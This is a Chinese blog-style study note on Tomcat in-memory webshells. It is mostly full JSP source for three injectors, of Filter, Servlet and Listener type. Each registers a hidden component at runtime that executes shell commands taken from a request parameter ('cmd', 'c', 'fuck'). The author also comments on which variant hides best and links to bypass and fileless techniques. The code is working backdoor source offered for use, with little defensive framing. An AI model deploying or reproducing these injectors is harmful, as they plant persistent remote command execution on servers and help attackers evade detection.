简单学习java内存马
看了雷石的内存马深入浅出,就心血来潮看了看,由于本人java贼菜就不介绍原理了,本文有关知识都贴链接吧
前置知识
本次主要看的是tomcat的内存马,所以前置知识有下列
1.tomcat结构,tomcat和idea联动创建java_web
2.jsp简单语法结构
3.servlet基础
这些百度就行,不贴链接了,下面贴链接的都是,不容易百度到,或者知识体系和描述不一致的
内存马基础知识
1.内存马能够存在的三种形式:
https://mp.weixin.qq.com/s?__biz=MzIxMjEwNTc4NA==&mid=2652991099&idx=1&sn=a6c34bb344f105eb98fc6943c7439331&scene=21#wechat_redirect
2.filter型内存马实现流程
https://mp.weixin.qq.com/s/hev4G1FivLtqKjt0VhHKmw
<%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.util.Map" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import="org.apache.catalina.Context" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.util.Scanner" %> <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <% final String name = "fengxuan"; ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext); if (filterConfigs.get(name) == null){ Filter filter = new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { //这里写上我们后门的主要代码 HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd") != null){ /*这是linux的,我主要用的windows的 byte[] bytes = new byte[1024]; Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start(); int len = process.getInputStream().read(bytes); servletResponse.getWriter().write(new String(bytes,0,len)); process.destroy(); return; */ String command = req.getParameter("cmd"); //System.out.println(Arrays.toString(command)); InputStream inputStream = Runtime.getRuntime().exec(command).getInputStream(); Scanner scanner = new Scanner(inputStream).useDelimiter("\\a"); String output = scanner.hasNext() ? scanner.next() : ""; servletResponse.getWriter().write(output); servletResponse.getWriter().flush(); return; } //别忘记带这个,不然的话其他的过滤器可能无法使用 filterChain.doFilter(servletRequest,servletResponse); } @Override public void destroy() { } }; FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); // 将filterDef添加到filterDefs中 standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap(); //拦截的路由规则,/* 表示拦截任意路由 filterMap.addURLPattern("/*"); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef); filterConfigs.put(name,filterConfig); out.print("注入成功"); } %>
3.servlet内存马实现流程
原理这个讲的比较好:https://blog.csdn.net/angry_program/article/details/118492214
但是不得不说这里真的坑,我到写这篇记录都没搞定idea调试tomcat源码的操作
所以直接给大家源码吧
<%@ page import="java.io.IOException" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.util.Scanner" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.io.PrintWriter" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%! public static class servletTest extends HttpServlet { @Override public void doGet(HttpServletRequest httpRequest, HttpServletResponse httpResponse) throws ServletException, IOException { System.out.println("doGet被调用"); //servletResponse.getOutputStream().write("doGet被调用".getBytes()); if (httpRequest.getParameter("c") != null) { System.out.println("eval"); //String[] command = new String[]{"sh", "-c", request.getParameter("c")}; String command = httpRequest.getParameter("c"); //System.out.println(Arrays.toString(command)); InputStream inputStream = Runtime.getRuntime().exec(command).getInputStream(); Scanner scanner = new Scanner(inputStream).useDelimiter("\\a"); String output = scanner.hasNext() ? scanner.next() : ""; httpResponse.getOutputStream().write(output.getBytes()); httpResponse.getOutputStream().flush(); //servletResponse.getWriter().write(output); //servletResponse.getWriter().flush(); } } @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { System.out.println("doPost被调用"); doGet(req, resp); } @Override public void init() throws ServletException { System.out.println("servlet demo init!"); } } %> <% servletTest servlet=new servletTest(); // 一个小路径快速获得StandardContext,这两种都行,这个常用一点,不过我一直没找到request引的哪个包,坑!!! // Field reqF = request.getClass().getDeclaredField("request"); // reqF.setAccessible(true); // Request req = (Request) reqF.get(request); // StandardContext stdcontext = (StandardContext) req.getContext(); // 获取StandardContext org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext stdcontext = (StandardContext)webappClassLoaderBase.getResources().getContext(); org.apache.catalina.Wrapper newWrapper = stdcontext.createWrapper(); String name = servlet.getClass().getSimpleName(); newWrapper.setName(name); newWrapper.setLoadOnStartup(1); newWrapper.setServlet(servlet); newWrapper.setServletClass(servlet.getClass().getName()); // url绑定 stdcontext.addChild(newWrapper); stdcontext.addServletMappingDecoded("/servlet", name); System.out.print("注入成功"); %>
3.listener型内存马(非常推荐):
<%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.util.Scanner" %> <%@ page import="java.io.IOException" %> <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%! public class listenerDemo implements ServletRequestListener{ @Override public void requestDestroyed(ServletRequestEvent sre){ System.out.println("linstener Destroyed!"); } @Override public void requestInitialized(ServletRequestEvent sre){ System.out.println("linstener Initialized!"); String command = sre.getServletRequest().getParameter("fuck"); try { Runtime.getRuntime().exec(command); } catch (IOException e) { e.printStackTrace(); } } } %> <% // 一个小路径快速获得StandardContext Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext context = (StandardContext) req.getContext(); listenerDemo listenerdemo = new listenerDemo(); context.addApplicationEventListener(listenerdemo); %>
这个listener的形式优先级最高,代码量最小,而且由于servrlet的特性,每次都会销毁实例,隐蔽性更高一点点
绕过方式
https://mp.weixin.qq.com/s?__biz=MzIxMjEwNTc4NA==&mid=2652991099&idx=1&sn=a6c34bb344f105eb98fc6943c7439331&scene=21#wechat_redirect
“降维打击篇”以后部分,写得非常好。
剩余问题
1.tomcat源码在idea调试咋弄,有会的告我一下,跪求
2.其它容器中内存马实现方式
3.反序列化实现真正的无文件形式内存马:http://wjlshare.com/archives/1541